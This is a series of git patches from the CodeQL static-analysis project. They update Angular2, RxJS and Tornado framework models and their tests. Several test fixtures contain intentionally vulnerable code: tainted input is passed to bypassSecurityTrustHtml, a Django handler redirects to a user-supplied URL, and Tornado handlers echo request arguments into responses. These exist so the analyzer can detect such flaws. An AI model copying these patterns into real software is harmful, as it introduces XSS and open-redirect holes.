100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -22,12 +22,12 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:5:22:5:29 | testPipe | | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow -| inline.component.ts:15:22:15:29 | source() | sink.component.ts:27:48:27:57 | this.sink7 | +| inline.component.ts:15:22:15:29 | source() | sink.component.ts:28:48:28:57 | this.sink7 | | source.component.ts:14:22:14:29 | source() | TestPipe.ts:6:31:6:35 | value | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:21:48:21:57 | this.sink1 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:24:48:24:57 | this.sink4 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink5 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:26:48:26:57 | this.sink6 | -| source.component.ts:14:22:14:29 | source() | sink.component.ts:28:48:28:57 | this.sink8 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:22:48:22:57 | this.sink1 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink4 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:26:48:26:57 | this.sink5 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:27:48:27:57 | this.sink6 | +| source.component.ts:14:22:14:29 | source() | sink.component.ts:29:48:29:57 | this.sink8 | | source.component.ts:14:22:14:29 | source() | source.component.ts:20:48:20:48 | x | -| source.component.ts:15:33:15:40 | source() | sink.component.ts:21:48:21:57 | this.sink1 | +| source.component.ts:15:33:15:40 | source() | sink.component.ts:22:48:22:57 | this.sink1 | From 144d04f3ceee931d4252c65d6dcab73be39ee2d1 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 21 Jan 2021 11:25:39 +0000 Subject: [PATCH 0757/1241] JS: Add test exposing source location of attribute after line break --- .../library-tests/frameworks/Angular2/inline.component.ts | 2 +- .../test/library-tests/frameworks/Angular2/sink.component.ts | 3 ++- .../ql/test/library-tests/frameworks/Angular2/test.expected | 3 +++ javascript/ql/test/library-tests/frameworks/Angular2/test.ql | 5 +++++ 4 files changed, 11 insertions(+), 2 deletions(-) diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts index 7bcae20cb8c..5fa4f3ee802 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/inline.component.ts @@ -5,7 +5,7 @@ import { Input, Component } from '@angular/core'; template: ` <sink-component [sink7]="taint"></sink-component> - \n<sink-component [sink7]="taint"></sink-component> + \n<sink-component [sink9]="taint" [testAttr]="taint"></sink-component> ` }) export class InlineComponent { diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts index 9c21f6348d7..4db18a7e2d6 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts +++ b/javascript/ql/test/library-tests/frameworks/Angular2/sink.component.ts @@ -14,7 +14,7 @@ export class SinkComponent { sink6: string; sink7: string; sink8: string; - + sink9: string; constructor(private sanitizer: DomSanitizer) {} @@ -27,5 +27,6 @@ export class SinkComponent { this.sanitizer.bypassSecurityTrustHtml(this.sink6); this.sanitizer.bypassSecurityTrustHtml(this.sink7); this.sanitizer.bypassSecurityTrustHtml(this.sink8); + this.sanitizer.bypassSecurityTrustHtml(this.sink9); } } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected index f278eb464f7..5d1f2a7061b 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -23,6 +23,7 @@ pipeClassRef | TestPipe.ts:4:8:9:1 | class T ... ;\\n }\\n} | source.component.html:6:19:6:26 | testPipe | taintFlow | inline.component.ts:15:22:15:29 | source() | sink.component.ts:28:48:28:57 | this.sink7 | +| inline.component.ts:15:22:15:29 | source() | sink.component.ts:30:48:30:57 | this.sink9 | | source.component.ts:14:22:14:29 | source() | TestPipe.ts:6:31:6:35 | value | | source.component.ts:14:22:14:29 | source() | sink.component.ts:22:48:22:57 | this.sink1 | | source.component.ts:14:22:14:29 | source() | sink.component.ts:25:48:25:57 | this.sink4 | @@ -31,3 +32,5 @@ taintFlow | source.component.ts:14:22:14:29 | source() | sink.component.ts:29:48:29:57 | this.sink8 | | source.component.ts:14:22:14:29 | source() | source.component.ts:20:48:20:48 | x | | source.component.ts:15:33:15:40 | source() | sink.component.ts:22:48:22:57 | this.sink1 | +testAttrSourceLocation +| inline.component.ts:8:43:8:61 | [testAttr]=taint | inline.component.ts:8:55:8:59 | <toplevel> | diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql index ba3b30649f0..a4892df4b93 100644 --- a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql @@ -27,3 +27,8 @@ class TaintConfig extends TaintTracking::Configuration { query predicate taintFlow(DataFlow::Node source, DataFlow::Node sink) { any(TaintConfig c).hasFlow(source, sink) } + +query predicate testAttrSourceLocation(HTML::Attribute attrib, Angular2::TemplateTopLevel top) { + attrib.getName() = "[testAttr]" and + top = attrib.getCodeInAttribute() +} From e786be06aef074639e3bc56e8f8465bd30813c06 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 21 Jan 2021 12:40:35 +0100 Subject: [PATCH 0758/1241] Python: Fix broken references --- .../ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll | 2 +- python/ql/test/experimental/dataflow/callGraphConfig.qll | 2 +- .../ql/test/experimental/dataflow/coverage/classesCallGraph.ql | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll b/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll index eb84d197c69..4956aecadc2 100644 --- a/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll +++ b/python/ql/test/experimental/dataflow/TestUtil/MaximalFlowTest.qll @@ -35,7 +35,7 @@ class MaximalFlowsConfig extends DataFlow::Configuration { override predicate isSink(DataFlow::Node node) { exists(node.getLocation().getFile().getRelativePath()) and not any(CallNode c).getArg(_) = node.asCfgNode() and - not node instanceof ArgumentNode and + not node instanceof DataFlow::ArgumentNode and not node.asCfgNode().(NameNode).getId().matches("SINK%") and not exists(DataFlow::Node succ | DataFlow::localFlowStep(node, succ)) } diff --git a/python/ql/test/experimental/dataflow/callGraphConfig.qll b/python/ql/test/experimental/dataflow/callGraphConfig.qll index c2846192e4d..ceb39bafcd6 100644 --- a/python/ql/test/experimental/dataflow/callGraphConfig.qll +++ b/python/ql/test/experimental/dataflow/callGraphConfig.qll @@ -11,7 +11,7 @@ class CallGraphConfig extends DataFlow::Configuration { override predicate isSource(DataFlow::Node node) { node instanceof DataFlowPrivate::ReturnNode or - node instanceof DataFlowPrivate::ArgumentNode + node instanceof DataFlow::ArgumentNode } override predicate isSink(DataFlow::Node node) { diff --git a/python/ql/test/experimental/dataflow/coverage/classesCallGraph.ql b/python/ql/test/experimental/dataflow/coverage/classesCallGraph.ql index 3c74e722b3d..1f8edfc1c79 100644 --- a/python/ql/test/experimental/dataflow/coverage/classesCallGraph.ql +++ b/python/ql/test/experimental/dataflow/coverage/classesCallGraph.ql @@ -11,7 +11,7 @@ class CallGraphConfig extends DataFlow::Configuration { node instanceof DataFlowPrivate::ReturnNode or // These sources should allow for the non-standard call syntax - node instanceof DataFlowPrivate::ArgumentNode + node instanceof DataFlow::ArgumentNode } override predicate isSink(DataFlow::Node node) { From 1d1149f4cd3dc48cdee4968346108efb196e45d6 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 21 Jan 2021 12:08:22 +0000 Subject: [PATCH 0759/1241] JS: Test and QLDoc for RxJS model --- .../ql/src/semmle/javascript/frameworks/RxJS.qll | 10 ++++++++-- .../TaintTracking/BasicTaintTracking.expected | 1 + .../ql/test/library-tests/TaintTracking/rxjs.js | 11 +++++++++++ 3 files changed, 20 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/test/library-tests/TaintTracking/rxjs.js diff --git a/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll index 0016c05c41c..5fc662ef3d5 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/RxJS.qll @@ -17,7 +17,10 @@ private class RxJsSubscribeStep extends TaintTracking::AdditionalTaintStep, Data } /** - * Holds if a tainted value sent into the given `pipe` should propagate to `arg`. + * Gets a data flow node that can take the value of any input sent to `pipe`. + * + * For example, in `map(x => ...)`, `x` refers to any value sent to the pipe + * created by the `map` call. */ private DataFlow::Node pipeInput(DataFlow::CallNode pipe) { pipe = DataFlow::moduleMember("rxjs/operators", ["map", "filter"]).getACall() and @@ -25,7 +28,10 @@ private DataFlow::Node pipeInput(DataFlow::CallNode pipe) { } /** - * Holds if a tainted value in `output` should propagate to the output of the given pipe. + * Gets a data flow node whose value becomes the output of the given `pipe`. + * + * For example, in `map(x => x + 1)`, the `x + 1` node becomes the output of + * the pipe. */ private DataFlow::Node pipeOutput(DataFlow::CallNode pipe) { pipe = DataFlow::moduleMember("rxjs/operators", "map").getACall() and diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index b0a729f5189..24fcbb5a6ef 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -97,6 +97,7 @@ typeInferenceMismatch | promise.js:5:25:5:32 | source() | promise.js:5:8:5:33 | bluebir ... urce()) | | promise.js:10:24:10:31 | source() | promise.js:10:8:10:32 | Promise ... urce()) | | promise.js:12:20:12:27 | source() | promise.js:13:8:13:23 | resolver.promise | +| rxjs.js:3:1:3:8 | source() | rxjs.js:10:14:10:17 | data | | sanitizer-function.js:12:17:12:24 | source() | sanitizer-function.js:14:10:14:14 | taint | | sanitizer-function.js:12:17:12:24 | source() | sanitizer-function.js:33:14:33:18 | taint | | sanitizer-guards.js:2:11:2:18 | source() | sanitizer-guards.js:4:8:4:8 | x | diff --git a/javascript/ql/test/library-tests/TaintTracking/rxjs.js b/javascript/ql/test/library-tests/TaintTracking/rxjs.js new file mode 100644 index 00000000000..f3ef209d392 --- /dev/null +++ b/javascript/ql/test/library-tests/TaintTracking/rxjs.js @@ -0,0 +1,11 @@ +import { map, catchError } from 'rxjs/operators'; + +source() + .pipe( + map(x => x + 'foo'), + map(x => x + 'bar'), + catchError(err => {}) + ) + .subscribe(data => { + sink(data) + }); From 2f58683f2debf81e3fe0231e145f76df7aa5f40b Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 21 Jan 2021 12:12:17 +0000 Subject: [PATCH 0760/1241] JS: Remove PipeCallExpr --- .../src/semmle/javascript/frameworks/Angular2.qll | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 3c27a37ec26..f44a4b90fb8 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -241,19 +241,6 @@ module Angular2 { override string getAPrimaryQlClass() { result = "Angular2::PipeRefExpr" } } - /** - * A call derived from a pipe expression. - * - * For example, the expression `x | f: y` is desugared to `f(x, y)` where - * `f` is a `PipeRefExpr` and the call itself is a `PipeCallExpr`. - */ - class PipeCallExpr extends CallExpr { - PipeCallExpr() { getCallee() instanceof PipeRefExpr } - - /** Gets the name of the pipe being invoked, such as `f` in `x | f`. */ - string getPipeName() { result = getCallee().(PipeRefExpr).getName() } - } - /** * A reference to a variable in a template expression, corresponding * to a property on the component class. From ac77a8b8a846a72b29cc2edcc5c71ad50d7fcb17 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 20 Jan 2021 17:38:35 +0100 Subject: [PATCH 0761/1241] Python: Add proper HTTP response tests for Tornado --- .../frameworks/tornado/ConceptsTest.ql | 20 ++--- .../frameworks/tornado/response_test.py | 85 +++++++++++++++++++ .../frameworks/tornado/responses.py | 35 -------- 3 files changed, 95 insertions(+), 45 deletions(-) create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py delete mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/responses.py diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql b/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql index a946c6befb9..1e2c1fab3ee 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql @@ -1,12 +1,12 @@ import python import experimental.meta.ConceptsTest -// -// class DedicatedResponseTest extends HttpServerHttpResponseTest { -// DedicatedResponseTest() { file.getShortName() = "response_test.py" } -// } -// -// class OtherResponseTest extends HttpServerHttpResponseTest { -// OtherResponseTest() { not this instanceof DedicatedResponseTest } -// -// override string getARelevantTag() { result = "HttpResponse" } -// } + +class DedicatedResponseTest extends HttpServerHttpResponseTest { + DedicatedResponseTest() { file.getShortName() = "response_test.py" } +} + +class OtherResponseTest extends HttpServerHttpResponseTest { + OtherResponseTest() { not this instanceof DedicatedResponseTest } + + override string getARelevantTag() { result = "HttpResponse" } +} diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py new file mode 100644 index 00000000000..644ebd261a8 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py @@ -0,0 +1,85 @@ +import tornado.web +import tornado.httputil + + +class ResponseWriting(tornado.web.RequestHandler): + def get(self, type_): # $ requestHandler routedParameter=type_ + if type_ == "str": + self.write("foo") # $ MISSING: HttpResponse mimetype=text/html responseBody="foo" + elif type_ == "bytes": + self.write(b"foo") # $ MISSING: HttpResponse mimetype=text/html responseBody=b"foo" + elif type_ == "dict": + d = {"foo": 42} + # Content-type will be set to `application/json` + self.write(d) # $ MISSING: HttpResponse mimetype=application/json responseBody=d + else: + raise Exception("Bad type {} {}".format(type_, type(type_))) + + +class ExplicitContentType(tornado.web.RequestHandler): + def get(self): # $ requestHandler + # Note: Our current modeling makes it quite hard to give a good annotation here + # this write is technically while the HTTP response has mimetype text/html, but + # the returned HTTP response will have mimetype text/plain, which is _really_ + # what matters. + + self.write("foo") # $ MISSING: HttpResponse mimetype=text/html responseBody=b"foo" + self.set_header("Content-Type", "text/plain; charset=utf-8") + + def post(self): # $ requestHandler + self.set_header("Content-Type", "text/plain; charset=utf-8") + self.write("foo") # $ MISSING: HttpResponse mimetype=text/plain responseBody=b"foo" + + +class ExampleRedirect(tornado.web.RequestHandler): + def get(self): # $ requestHandler + self.redirect("http://example.com") # TODO: Model redirect + + +class ExampleConnectionWrite(tornado.web.RequestHandler): + def get(self, stream=False): # $ requestHandler routedParameter=stream + + if not stream: + self.request.connection.write_headers( + tornado.httputil.ResponseStartLine('', 200, 'OK'), + tornado.httputil.HTTPHeaders(), + ) + self.request.connection.write(b"foo") # $ MISSING: HttpResponse responseBody="foo" + self.request.connection.finish() + else: + # Note: The documentation says that connection.detach(): "May only be called + # during HTTPMessageDelegate.headers_received". Doing it here actually + # works, but does make tornado spit out some errors... good enough to + # illustrate the behavior. + # + # https://www.tornadoweb.org/en/stable/http1connection.html#tornado.http1connection.HTTP1Connection.detach + stream = self.request.connection.detach() + stream.write(b"foo stream") # $ MISSING: HttpResponse responseBody="foo stream" + stream.close() + +def make_app(): + return tornado.web.Application( + [ + (r"/ResponseWriting/(str|bytes|dict)", ResponseWriting), # $ routeSetup="/ResponseWriting/(str|bytes|dict)" + (r"/ExplicitContentType", ExplicitContentType), # $ routeSetup="/ExplicitContentType" + (r"/ExampleRedirect", ExampleRedirect), # $ routeSetup="/ExampleRedirect" + (r"/ExampleConnectionWrite", ExampleConnectionWrite), # $ routeSetup="/ExampleConnectionWrite" + (r"/ExampleConnectionWrite/(stream)", ExampleConnectionWrite), # $ routeSetup="/ExampleConnectionWrite/(stream)" + ], + debug=True, + ) + + +if __name__ == "__main__": + import tornado.ioloop + + app = make_app() + app.listen(8888) + tornado.ioloop.IOLoop.current().start() + + # http://localhost:8888/ResponseWriting/str + # http://localhost:8888/ResponseWriting/bytes + # http://localhost:8888/ResponseWriting/dict + # http://localhost:8888/ExplicitContentType + # http://localhost:8888/ExampleRedirect + # http://localhost:8888/ExampleConnectionWrite diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py b/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py deleted file mode 100644 index fed6da1527b..00000000000 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py +++ /dev/null @@ -1,35 +0,0 @@ -import tornado.web - - -class ResponseWriting(tornado.web.RequestHandler): - def get(self, type_): # $ requestHandler routedParameter=type_ - if type_ == "str": - self.write("foo") - elif type_ == "bytes": - self.write(b"foo") - elif type_ == "dict": - # Content-type will be set to `application/json` - self.write({"foo": 42}) - else: - raise Exception("Bad type {} {}".format(type_, type(type_))) - - -def make_app(): - return tornado.web.Application( - [ - (r"/ResponseWriting/(str|bytes|dict)", ResponseWriting), # $ routeSetup="/ResponseWriting/(str|bytes|dict)" - ], - debug=True, - ) - - -if __name__ == "__main__": - import tornado.ioloop - - app = make_app() - app.listen(8888) - tornado.ioloop.IOLoop.current().start() - - # http://localhost:8888/ResponseWriting/str - # http://localhost:8888/ResponseWriting/bytes - # http://localhost:8888/ResponseWriting/dict From b55817a5b2af945f2e47507dcd198a809f818cda Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 21 Jan 2021 13:26:31 +0100 Subject: [PATCH 0762/1241] Python: Model HTTP responses in tornado This is quite a simpel model, but ends up matching what we were able to do with points-to. I think this modeling excercise really shows that we need a bit of a different way to model HTTP responses... but I'm not going to try to fix that in this PR. --- .../src/semmle/python/frameworks/Tornado.qll | 36 +++++++++++++++++++ .../library-tests/frameworks/tornado/basic.py | 10 +++--- .../frameworks/tornado/response_test.py | 14 ++++---- .../frameworks/tornado/routing_test.py | 20 +++++------ 4 files changed, 58 insertions(+), 22 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index 995fb19747d..4082b45b97e 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -216,6 +216,17 @@ private module Tornado { /** Gets a reference to one of the methods `get_arguments`, `get_body_arguments`, `get_query_arguments`. */ DataFlow::Node argumentsMethod() { result = argumentsMethod(DataFlow::TypeTracker::end()) } + /** Gets a reference to the `write` method. */ + private DataFlow::Node writeMethod(DataFlow::TypeTracker t) { + t.startInAttr("write") and + result = instance() + or + exists(DataFlow::TypeTracker t2 | result = writeMethod(t2).track(t2, t)) + } + + /** Gets a reference to the `write` method. */ + DataFlow::Node writeMethod() { result = writeMethod(DataFlow::TypeTracker::end()) } + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { // Method access @@ -540,4 +551,29 @@ private module Tornado { not result = this.getArg(0) } } + + // --------------------------------------------------------------------------- + // Response modeling + // --------------------------------------------------------------------------- + /** + * A call to `tornado.web.RequestHandler.write` method. + * + * See https://www.tornadoweb.org/en/stable/web.html?highlight=write#tornado.web.RequestHandler.write + */ + private class TornadoRequestHandlerWriteCall extends HTTP::Server::HttpResponse::Range, + DataFlow::CfgNode { + override CallNode node; + + TornadoRequestHandlerWriteCall() { + node.getFunction() = tornado::web::RequestHandler::writeMethod().asCfgNode() + } + + override DataFlow::Node getBody() { + result.asCfgNode() in [node.getArg(0), node.getArgByName("chunk")] + } + + override string getMimetypeDefault() { result = "text/html" } + + override DataFlow::Node getMimetypeOrContentTypeArg() { none() } + } } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index 6733de040b1..61e4d388320 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -3,21 +3,21 @@ import tornado.web class BasicHandler(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("BasicHandler " + self.get_argument("xss")) + self.write("BasicHandler " + self.get_argument("xss")) # $ HttpResponse def post(self): # $ requestHandler - self.write("BasicHandler (POST)") + self.write("BasicHandler (POST)") # $ HttpResponse class DeepInheritance(BasicHandler): def get(self): # $ requestHandler - self.write("DeepInheritance" + self.get_argument("also_xss")) + self.write("DeepInheritance" + self.get_argument("also_xss")) # $ HttpResponse class FormHandler(tornado.web.RequestHandler): def post(self): # $ requestHandler name = self.get_body_argument("name") - self.write(name) + self.write(name) # $ HttpResponse class RedirectHandler(tornado.web.RequestHandler): @@ -30,7 +30,7 @@ class RedirectHandler(tornado.web.RequestHandler): class BaseReverseInheritance(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("hello from BaseReverseInheritance") + self.write("hello from BaseReverseInheritance") # $ HttpResponse class ReverseInheritance(BaseReverseInheritance): diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py index 644ebd261a8..d8af7f3895a 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/response_test.py @@ -5,13 +5,13 @@ import tornado.httputil class ResponseWriting(tornado.web.RequestHandler): def get(self, type_): # $ requestHandler routedParameter=type_ if type_ == "str": - self.write("foo") # $ MISSING: HttpResponse mimetype=text/html responseBody="foo" + self.write("foo") # $ HttpResponse mimetype=text/html responseBody="foo" elif type_ == "bytes": - self.write(b"foo") # $ MISSING: HttpResponse mimetype=text/html responseBody=b"foo" + self.write(b"foo") # $ HttpResponse mimetype=text/html responseBody=b"foo" elif type_ == "dict": d = {"foo": 42} # Content-type will be set to `application/json` - self.write(d) # $ MISSING: HttpResponse mimetype=application/json responseBody=d + self.write(d) # $ HttpResponse responseBody=d MISSING: mimetype=application/json SPURIOUS: mimetype=text/html else: raise Exception("Bad type {} {}".format(type_, type(type_))) @@ -23,12 +23,12 @@ class ExplicitContentType(tornado.web.RequestHandler): # the returned HTTP response will have mimetype text/plain, which is _really_ # what matters. - self.write("foo") # $ MISSING: HttpResponse mimetype=text/html responseBody=b"foo" + self.write("foo") # $ HttpResponse mimetype=text/html responseBody="foo" self.set_header("Content-Type", "text/plain; charset=utf-8") def post(self): # $ requestHandler self.set_header("Content-Type", "text/plain; charset=utf-8") - self.write("foo") # $ MISSING: HttpResponse mimetype=text/plain responseBody=b"foo" + self.write("foo") # $ HttpResponse responseBody="foo" MISSING: mimetype=text/plain SPURIOUS: mimetype=text/html class ExampleRedirect(tornado.web.RequestHandler): @@ -44,7 +44,7 @@ class ExampleConnectionWrite(tornado.web.RequestHandler): tornado.httputil.ResponseStartLine('', 200, 'OK'), tornado.httputil.HTTPHeaders(), ) - self.request.connection.write(b"foo") # $ MISSING: HttpResponse responseBody="foo" + self.request.connection.write(b"foo") # $ MISSING: HttpResponse responseBody=b"foo" self.request.connection.finish() else: # Note: The documentation says that connection.detach(): "May only be called @@ -54,7 +54,7 @@ class ExampleConnectionWrite(tornado.web.RequestHandler): # # https://www.tornadoweb.org/en/stable/http1connection.html#tornado.http1connection.HTTP1Connection.detach stream = self.request.connection.detach() - stream.write(b"foo stream") # $ MISSING: HttpResponse responseBody="foo stream" + stream.write(b"foo stream") # $ MISSING: HttpResponse responseBody=b"foo stream" stream.close() def make_app(): diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py index c9fbc0c91e0..2b596c20ce5 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py @@ -4,47 +4,47 @@ import tornado.routing class FooHandler(tornado.web.RequestHandler): def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y - self.write("FooHandler {} {}".format(x, y)) + self.write("FooHandler {} {}".format(x, y)) # $ HttpResponse class BarHandler(tornado.web.RequestHandler): def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y SPURIOUS: routedParameter=not_used - self.write("BarHandler {} {}".format(x, y)) + self.write("BarHandler {} {}".format(x, y)) # $ HttpResponse class BazHandler(tornado.web.RequestHandler): def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y SPURIOUS: routedParameter=not_used - self.write("BazHandler {} {}".format(x, y)) + self.write("BazHandler {} {}".format(x, y)) # $ HttpResponse class KwArgs(tornado.web.RequestHandler): def get(self, *, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y - self.write("KwArgs {} {}".format(x, y)) + self.write("KwArgs {} {}".format(x, y)) # $ HttpResponse class OnlyLocalhost(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("OnlyLocalhost") + self.write("OnlyLocalhost") # $ HttpResponse class One(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("One") + self.write("One") # $ HttpResponse class Two(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("Two") + self.write("Two") # $ HttpResponse class Three(tornado.web.RequestHandler): def get(self): # $ requestHandler - self.write("Three") + self.write("Three") # $ HttpResponse class AddedLater(tornado.web.RequestHandler): def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y - self.write("AddedLater {} {}".format(x, y)) + self.write("AddedLater {} {}".format(x, y)) # $ HttpResponse class PossiblyNotRouted(tornado.web.RequestHandler): @@ -52,7 +52,7 @@ class PossiblyNotRouted(tornado.web.RequestHandler): # consider it to be a handle incoming HTTP requests def get(self): # $ requestHandler - self.write("NotRouted") + self.write("NotRouted") # $ HttpResponse def make_app(): From 48083d657a3d5552c334ec7aa126456dce30da3a Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 21 Jan 2021 13:40:58 +0100 Subject: [PATCH 0763/1241] Python: Apply code-review suggestion Co-authored-by: yoff <lerchedahl@gmail.com> --- python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll index 7017bf8aa29..27c1dabab98 100644 --- a/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll +++ b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll @@ -24,7 +24,7 @@ class UrlRedirectConfiguration extends TaintTracking::Configuration { override predicate isSanitizer(DataFlow::Node node) { // Url redirection is a problem only if the user controls the prefix of the URL. - // This is a copy of the taint-sanitizer from the old points-to query, which doesn't + // TODO: This is a copy of the taint-sanitizer from the old points-to query, which doesn't // cover formatting. exists(BinaryExprNode string_concat | string_concat.getOp() instanceof Add | string_concat.getRight() = node.asCfgNode() From 2f86937e5ae5f58693f55a32856b9cdfe475321a Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 21 Jan 2021 13:44:56 +0100 Subject: [PATCH 0764/1241] Python: Remove unused param in test code --- .../library-tests/frameworks/django-v1/response_test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py index 69cdd899c8d..f214cfb63d3 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v1/response_test.py @@ -21,7 +21,7 @@ def or__redirect(request): next = request.GET.get("next") return HttpResponseRedirect(next) # $HttpResponse mimetype=text/html HttpRedirectResponse redirectLocation=next -def information_exposure_through_redirect(request, as_kw=False, perm_redirect=False): +def information_exposure_through_redirect(request, as_kw=False): # This is a contrived example, but possible private = "private" next = request.GET.get("next") From 7a76a5134e7e01537231fc6f7a23dd51965ad913 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 21 Jan 2021 14:04:11 +0100 Subject: [PATCH 0765/1241] Python: Add redirect modeling for Tornado After making https://github.com/github/codeql/pull/4995, I realized how easy this would be :D Will need to do some manual merge-conflict handling, but it should be all good :) --- .../src/semmle/python/frameworks/Tornado.qll | 38 +++++++++++++++++++ .../library-tests/frameworks/tornado/basic.py | 2 +- 2 files changed, 39 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index 